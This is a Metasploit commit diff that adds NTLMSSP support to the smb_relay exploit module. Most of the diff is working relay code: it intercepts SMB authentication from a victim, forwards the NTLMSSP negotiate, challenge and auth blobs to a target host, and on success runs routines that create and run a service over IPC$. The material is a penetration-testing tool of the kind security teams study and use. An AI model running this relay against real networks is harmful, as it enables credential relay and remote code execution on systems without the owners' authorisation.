Land #4706 jvazquez-r7 adds NTLMSSP support for smb_relay

bug/bundler_fix
Brent Cook 2015-02-20 15:15:00 -06:00
commit 58436fcc98
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
1 changed files with 260 additions and 45 deletions

View File

@ -58,7 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' =>
[
'hdm'
'hdm', # All the work
'juan vazquez' # Add NTLMSSP support to the exploit
],
'License' => MSF_LICENSE,
'Privileged' => true,
@ -111,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
if (not rclient.client.auth_user)
unless smb[:ntlmssp] || rclient.client.auth_user
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
@ -124,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
print_status("Connecting to the defined share...")
rclient.connect(datastore['SHARE'])
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
@pwned[smb[:rhost]] = true
@ -155,10 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Created \\#{filename}...")
# Disconnect from the SHARE
rclient.disconnect(datastore['SHARE'])
rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
print_status("Connecting to the Service Control Manager...")
rclient.connect("IPC$")
rclient.connect("\\\\#{smb[:rhost]}\\IPC$")
dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")
@ -291,10 +292,10 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Error: #{e}")
end
rclient.disconnect("IPC$")
rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$")
print_status("Deleting \\#{filename}...")
rclient.connect(datastore['SHARE'])
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
rclient.delete("\\#{filename}")
end
@ -353,6 +354,9 @@ class Metasploit3 < Msf::Exploit::Remote
# Record the remote process ID
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
flags2 = pkt['Payload']['SMB'].v['Flags2']
extended_security = (flags2 & 0x800 == 0x800)
group = ''
machine = smb[:nbsrc]
@ -363,13 +367,64 @@ class Metasploit3 < Msf::Exploit::Remote
dialects.index("NT LM 0.12") ||
dialects.length-1
# Dialect selected, now we try to the target system
target_host = datastore['SMBHOST']
if (not target_host or target_host.strip.length == 0)
target_host = smb[:ip]
end
# If extended security isn't supported or we're trying reflection
# ntlmv1 should be used, otherwise, use ntlmssp
if extended_security && target_host != smb[:ip]
smb[:ntlmssp] = true
negotiate_ntlmssp(smb, target_host)
else
smb[:ntlmssp] = false
negotiate_ntlmv1(smb, target_host)
end
rclient = smb[:rclient]
# Negotiation has failed, just return
unless rclient && rclient.client
return
end
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 3
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd
pkt['Payload'].v['ServerTime'] = time_lo
pkt['Payload'].v['ServerDate'] = time_hi
pkt['Payload'].v['Timezone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
if smb[:ntlmssp]
pkt['Payload'].v['KeyLength'] = 0
pkt['Payload'].v['Payload'] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID
Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp
else
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] =
rclient.client.challenge_key +
Rex::Text.to_unicode(group) + "\x00\x00" +
Rex::Text.to_unicode(machine) + "\x00\x00"
end
c.put(pkt.to_s)
end
def negotiate_ntlmv1(smb, target_host)
rsock = nil
rport = nil
[445, 139].each do |rport_|
@ -382,7 +437,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
'MsfExploit' => self
}
)
break if rsock
@ -393,7 +448,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
if(not rsock)
unless rsock
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
return
end
@ -409,12 +464,61 @@ class Metasploit3 < Msf::Exploit::Remote
raise e
end
if (not rclient.client.challenge_key)
unless rclient.client.challenge_key
print_error("No challenge key received from #{smb[:ip]}:#{rport}")
rsock.close
return
end
if smb[:rsock]
smb[:rsock].close
end
smb[:rsock] = rsock
smb[:rclient] = rclient
smb[:rhost] = target_host
end
def negotiate_ntlmssp(smb, target_host)
rsock = nil
rport = 445
begin
rsock = Rex::Socket::Tcp.create(
'PeerHost' => target_host,
'PeerPort' => rport,
'Timeout' => 3,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
end
unless rsock
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
return
end
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true)
rclient.client.negotiate(true) # extended security true
unless rclient.client.server_guid
print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}")
rsock.close
return
end
# If in the answer the Extended Security Negotiation (Flags2) is set
# we need to proceed like that!
rclient.client.require_signing = false
if (smb[:rsock])
smb[:rsock].close
end
@ -422,40 +526,27 @@ class Metasploit3 < Msf::Exploit::Remote
smb[:rsock] = rsock
smb[:rclient] = rclient
smb[:rhost] = target_host
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 3
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
pkt['Payload'].v['ServerTime'] = time_lo
pkt['Payload'].v['ServerDate'] = time_hi
pkt['Payload'].v['Timezone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] =
rclient.client.challenge_key +
Rex::Text.to_unicode(group) + "\x00\x00" +
Rex::Text.to_unicode(machine) + "\x00\x00"
c.put(pkt.to_s)
end
def smb_cmd_session_setup(c, buff)
smb = @state[c]
if smb[:ntlmssp]
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
else
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
end
pkt.from_s(buff)
capabilities = pkt['Payload'].v['Capabilities']
extended_security = (capabilities & 0x80000000 == 0x80000000)
if extended_security
smb_cmd_session_setup_ntlmssp(c, buff)
else
smb_cmd_session_setup_ntlmv1(c, buff)
end
end
def smb_cmd_session_setup_ntlmv1(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)
@ -519,7 +610,7 @@ class Metasploit3 < Msf::Exploit::Remote
rescue XCEPT::LoginError
end
if (res)
if res
print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
smb_haxor(c)
else
@ -539,4 +630,128 @@ class Metasploit3 < Msf::Exploit::Remote
c.put(pkt.to_s)
end
def smb_cmd_session_setup_ntlmssp(c, buff)
smb = @state[c]
buff_copy = buff.dup
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff_copy)
blob_length = pkt['Payload'].v['SecurityBlobLen']
blob = pkt['Payload'].v['Payload'][0, blob_length]
#detect if GSS is being used I need to fix this code.... but
if blob[0,7] == 'NTLMSSP'
c_gss = false
else
c_gss = true
start = blob.index('NTLMSSP')
if start
blob.slice!(0,start)
else
print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
end
ntlm_message = NTLM_MESSAGE::parse(blob)
case ntlm_message
when NTLM_MESSAGE::Type1
smb_cmd_ntlmssp_negotiate(c, buff)
when NTLM_MESSAGE::Type3
smb_cmd_ntlmssp_auth(c, buff)
else
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
end
def smb_cmd_ntlmssp_negotiate(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff)
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}")
rclient = smb[:rclient]
rclient.client.session_setup_with_ntlmssp_blob(security_blob, false)
print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}")
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
security_blob_length = resp['Payload'].v['SecurityBlobLen']
security_blob = resp['Payload'].v['Payload'][0, security_blob_length]
print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}")
challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
smb_set_defaults(c, challenge)
native_data = ''
native_data << "Unix\x00" #Native OS
native_data << "Samba\x00" #Native LanMAN
challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
challenge['Payload']['SMB'].v['Flags1'] = 0x80
challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing
challenge['Payload']['SMB'].v['WordCount'] = 4
challenge['Payload'].v['AndX'] = 0xFF
challenge['Payload'].v['Reserved1'] = 0x00
challenge['Payload'].v['AndXOffset'] = 0
challenge['Payload'].v['Action'] = 0x0000
challenge['Payload'].v['SecurityBlobLen'] = security_blob_length
challenge['Payload'].v['Payload'] = security_blob + native_data
c.put(challenge.to_s)
end
def smb_cmd_ntlmssp_auth(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff)
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response")
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}")
rclient = smb[:rclient]
rclient.client.session_setup_with_ntlmssp_blob(
security_blob,
false,
rclient.client.auth_user_id
)
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
#check if auth was successful
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
print_good("SMB auth relay against #{smb[:rhost]} succeeded")
smb_haxor(c)
else
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
failure.word_count = resp['Payload']['SMB'].v['WordCount']
failure.command = resp['Payload']['SMB'].v['Command']
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
raise failure
end
end
end